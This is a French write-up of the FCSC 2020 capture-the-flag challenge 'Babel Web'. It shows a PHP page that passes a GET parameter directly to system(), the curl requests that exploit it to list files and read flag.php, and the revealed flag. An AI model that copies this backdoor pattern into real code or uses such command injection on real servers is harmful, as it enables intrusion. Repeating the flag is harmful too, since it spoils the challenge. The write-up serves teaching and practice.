FCSC 2020 - Intro - Babel Web
Table des matières :
On vous demande d’auditer ce site en cours de construction à la recherche d’un flag.
URL : http://localhost:5001/
Résolution
Sur la page du challenge, nous voyons un commentaire HTML indiquant que la source est disponible sur /?source=1 :
<html>
<head>
<title>Bienvenue à Babel Web!</title>
</head>
<body>
<h1>Bienvenue à Babel Web!</h1>
La page est en cours de développement, merci de revenir plus tard.
<!-- <a href="?source=1">source</a> -->
</body>
</html>
Nous y accédons et nous avons le code source :
<?php
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("<pre>");
} else {
?>
<html>
<head>
<title>Bienvenue à Babel Web!</title>
</head>
<body>
<h1>Bienvenue à Babel Web!</h1>
La page est en cours de développement, merci de revenir plus tard.
<!-- <a href="?source=1">source</a> -->
</body>
</html>
<?php
}
?>
Dans ce code source, nous voyons quelquechose d’intéressant. En effet, le paramètre code (méthode GET) de la page index.php nous permet d’envoyer des commandes qui seront éxécutées dans un shell coté serveur. Essayons donc de lister les fichiers avec ls -lha :
curl "http://challenges2.france-cybersecurity-challenge.fr:5001/index.php?code=ls%20-lha"
...
<pre>total 16K
dr-xr-xr-x 1 www-data www-data 4.0K Apr 23 13:19 .
drwxr-xr-x 1 root root 4.0K Apr 23 13:19 ..
-r-xr-xr-x 1 www-data www-data 89 Apr 23 13:19 flag.php
-r-xr-xr-x 1 www-data www-data 439 Apr 23 13:19 index.php
<pre>
...
L’exécution de code est bien fonctionnelle ! Nous n’avons plus qu’a lire le flag avec un simple cat :
curl "http://challenges2.france-cybersecurity-challenge.fr:5001/index.php?code=cat%20flag.php"
...
<pre><?php
$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>
...
Le flag est FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}